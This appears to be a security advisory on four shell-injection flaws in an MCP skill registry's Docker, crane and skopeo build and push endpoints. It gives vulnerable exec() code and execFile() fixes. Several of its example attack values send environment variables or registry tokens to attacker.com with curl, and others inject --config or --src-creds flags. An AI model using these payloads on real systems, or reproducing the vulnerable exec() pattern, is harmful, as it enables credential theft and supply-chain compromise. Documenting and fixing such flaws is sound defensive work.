← Security advisories

Claude MCP skill code injection — skill container build and OCI image push endpoints — SA-SKL-INJECTION32

SA-SKL-INJECTION32 documents four code injection vulnerabilities in MCP skill registry container build and OCI image push endpoints. Container build pipelines have a natural affinity for shell injection: they invoke Docker, crane, skopeo, and similar CLI tools by constructing shell command strings from user-supplied values like image names, registry hosts, tag labels, and destination credentials. When these strings are passed to exec() rather than execFile() with an argument array, every user-supplied field becomes a shell injection point. All four findings achieve attacker goals ranging from Docker credential exfiltration to supply-chain image substitution.

SA-SKL-INJECTION32 findings at a glance
CRITICALINJECTION32-001 — exec(`docker build -t ${imageName}:${imageTag} --build-arg ${buildArg} .`); attacker imageName with ; printenv exfiltrates all env vars including Docker registry credentials
CRITICALINJECTION32-002 — exec(`docker push ${registryHost}/${imageName}:${imageTag}`); attacker registryHost with space-injected --config=/app/secrets/docker.json reads registry credentials from secrets path
CRITICALINJECTION32-003 — exec(`crane push ${tarPath} ${imageRef}`); attacker tarPath with ; cat /etc/secrets/REGISTRY_TOKEN exfiltrates the registry push token before the crane command runs
CRITICALINJECTION32-004 — exec(`skopeo copy --dest-creds=${destCreds} ${sourceRef} ${destRef}`); attacker destCreds with space-injected --src-creds= copies attacker-controlled source image, achieving supply-chain substitution

INJECTION32-001 — docker build imageName injection exfiltrates Docker credentials

The container build endpoint constructs a Docker build command using template literal interpolation: exec(`docker build -t ${imageName}:${imageTag} --build-arg ${buildArg} .`). Node.js's exec() passes the full string to /bin/sh -c, which interprets semicolons, pipes, and backticks as shell metacharacters. An attacker who sets imageName to a value like myimage; printenv > /tmp/env.txt; curl https://attacker.com -d @/tmp/env.txt; true causes the shell to execute the Docker build, then exfiltrate all environment variables — including DOCKER_PASSWORD, REGISTRY_TOKEN, and any cloud provider credentials mounted as environment variables in the build service container.

INJECTION32-001 fix: Replace exec() with execFile() and pass arguments as an array. Validate imageName against /^[a-z0-9_\-\/]{1,200}$/ before constructing the argument list. Validate imageTag against /^[a-z0-9_\-\.]{1,128}$/. Pass --build-arg values as separate array elements, never interpolated into a single string.

WRONG
const { imageName, imageTag, buildArg } = req.body;
exec(`docker build -t ${imageName}:${imageTag} --build-arg ${buildArg} .`,
  (err, stdout, stderr) => { res.json({ ok: !err, stdout }); }
);
RIGHT
const { imageName, imageTag, buildArg } = req.body;

if (!/^[a-z0-9_\-\/]{1,200}$/.test(imageName)) return res.status(400).json({ error: 'invalid imageName' });
if (!/^[a-z0-9_\-\.]{1,128}$/.test(imageTag)) return res.status(400).json({ error: 'invalid imageTag' });
if (!/^[A-Z_]{1,64}=[^\n]{0,256}$/.test(buildArg)) return res.status(400).json({ error: 'invalid buildArg' });

const [argKey, ...argValParts] = buildArg.split('=');
const argVal = argValParts.join('=');

execFile('docker', [
  'build',
  '-t', `${imageName}:${imageTag}`,
  '--build-arg', `${argKey}=${argVal}`,
  '.'
], (err, stdout, stderr) => {
  res.json({ ok: !err, exitCode: err?.code });
  // never return stdout/stderr — may contain build secrets from --secret mounts
});

INJECTION32-002 — docker push registryHost injection reads registry secrets config

The image push endpoint constructs: exec(`docker push ${registryHost}/${imageName}:${imageTag}`). An attacker who sets registryHost to registry.example.com --config=/app/secrets/docker.json causes the shell to interpret the space as an argument separator, passing --config=/app/secrets/docker.json as a flag to the Docker CLI rather than part of the registry hostname. Docker's --config flag overrides the credentials file location, causing Docker to read and use the credentials from the specified path — which may be a secrets volume containing production registry push tokens. The credentials are used for the push operation, potentially exposing them in Docker's verbose output or in push error messages returned to the caller.

INJECTION32-002 fix: Replace exec() with execFile() and an argument array. Validate registryHost against an allowlist of known OCI registry hostnames. Pass --config as a fixed argument pointing to a sandboxed, read-only credentials file — never derive the config path from user input.

// WRONG — space in registryHost becomes --config flag injection
exec(`docker push ${registryHost}/${imageName}:${imageTag}`, cb);

// RIGHT — execFile() array; allowlist for registryHost
const REGISTRY_ALLOWLIST = new Set([
  'ghcr.io', 'registry.hub.docker.com', 'us.gcr.io', 'public.ecr.aws'
]);
if (!REGISTRY_ALLOWLIST.has(registryHost)) return res.status(400).json({ error: 'registry not allowed' });
if (!/^[a-z0-9_\-\/]{1,200}$/.test(imageName)) return res.status(400).json({ error: 'invalid imageName' });

execFile('docker', [
  '--config', '/run/secrets/docker-config',  // fixed, server-side config path
  'push',
  `${registryHost}/${imageName}:${imageTag}`
], cb);

INJECTION32-003 — crane push tarPath injection exfiltrates registry token

The crane-based image push endpoint constructs: exec(`crane push ${tarPath} ${imageRef}`). An attacker who sets tarPath to /tmp/image.tar; cat /etc/secrets/REGISTRY_TOKEN > /tmp/token.txt; curl https://attacker.com -d @/tmp/token.txt; true exfiltrates the registry push token before crane even runs. Because the registry token is mounted as a secret file in the build service, this gives the attacker the ability to push arbitrary images to the production registry — a supply-chain compromise vector that affects every consumer of images from that registry.

INJECTION32-003 fix: Replace exec() with execFile(). Use fs.realpathSync(tarPath) to resolve symlinks and verify the resolved path is within the expected sandbox directory (e.g., /var/build/sandbox/). Validate imageRef against a digest-only pattern /^[a-z0-9\-\/\.]+@sha256:[a-f0-9]{64}$/.

// WRONG — tarPath shell injection before crane runs
exec(`crane push ${tarPath} ${imageRef}`, cb);

// RIGHT — execFile() + realpathSync containment
const SANDBOX_BASE = '/var/build/sandbox';
const resolved = fs.realpathSync(tarPath);
if (!resolved.startsWith(SANDBOX_BASE + '/')) {
  return res.status(400).json({ error: 'tarPath outside sandbox' });
}
if (!/^[a-z0-9\-\/\.]+@sha256:[a-f0-9]{64}$/.test(imageRef)) {
  return res.status(400).json({ error: 'imageRef must be digest-pinned' });
}
execFile('crane', ['push', resolved, imageRef], cb);

INJECTION32-004 — skopeo copy destCreds injection substitutes attacker-controlled source image

The image copy endpoint constructs: exec(`skopeo copy --dest-creds=${destCreds} ${sourceRef} ${destRef}`). An attacker who sets destCreds to user:pass --src-creds=attacker:token docker://attacker.example.com/malicious:latest injects an additional --src-creds flag and replaces the source reference. Skopeo processes the injected flags and copies the attacker's malicious image to the destination registry using the legitimate destination credentials. The copied image appears in the destination registry under the expected name but contains the attacker's payload — a supply-chain substitution that may not be detected until the image is pulled and executed.

INJECTION32-004 fix: Replace exec() with execFile(). Validate destCreds against a strict pattern /^[a-z0-9_]{1,64}:[a-zA-Z0-9_]{8,}$/ that rejects spaces. Derive source and destination references from server-side configuration only — never from user-supplied request fields. Pass each argument as a separate array element.

// WRONG — space in destCreds injects --src-creds and replaces sourceRef
exec(`skopeo copy --dest-creds=${destCreds} ${sourceRef} ${destRef}`, cb);

// RIGHT — execFile() array; validate destCreds format; server-side source/dest
if (!/^[a-z0-9_]{1,64}:[a-zA-Z0-9_]{8,}$/.test(destCreds)) {
  return res.status(400).json({ error: 'invalid destCreds format' });
}
// source and destination references come from server-side config, not user input
const { sourceRef, destRef } = await db.getImageCopyConfig(copyJobId);

execFile('skopeo', [
  'copy',
  `--dest-creds=${destCreds}`,
  sourceRef,
  destRef
], cb);
Detect SA-SKL-INJECTION32 in your registry

SkillAudit scans for exec() calls with template literal interpolation of user-supplied values across all container build, image push, and OCI tool invocation handlers in your MCP skill registry codebase. The scanner flags every exec() with an interpolated string and recommends the execFile() array pattern with input validation.

Scan your registry
FindingSeverityInjected fieldToolImpact
INJECTION32-001CRITICALimageNamedocker buildEnv var exfiltration including Docker registry credentials
INJECTION32-002CRITICALregistryHostdocker pushRegistry secrets config read via --config flag injection
INJECTION32-003CRITICALtarPathcrane pushRegistry push token exfiltration; arbitrary image push to production registry
INJECTION32-004CRITICALdestCredsskopeo copySupply-chain image substitution by replacing source reference via --src-creds injection

See also: SA-SKL-INJECTION31 (signing and attestation pipeline injection patterns) and SA-SKL-DESER27 for the companion deserialization vulnerabilities in the publish queue that share the same supply-chain attack surface as container build endpoints.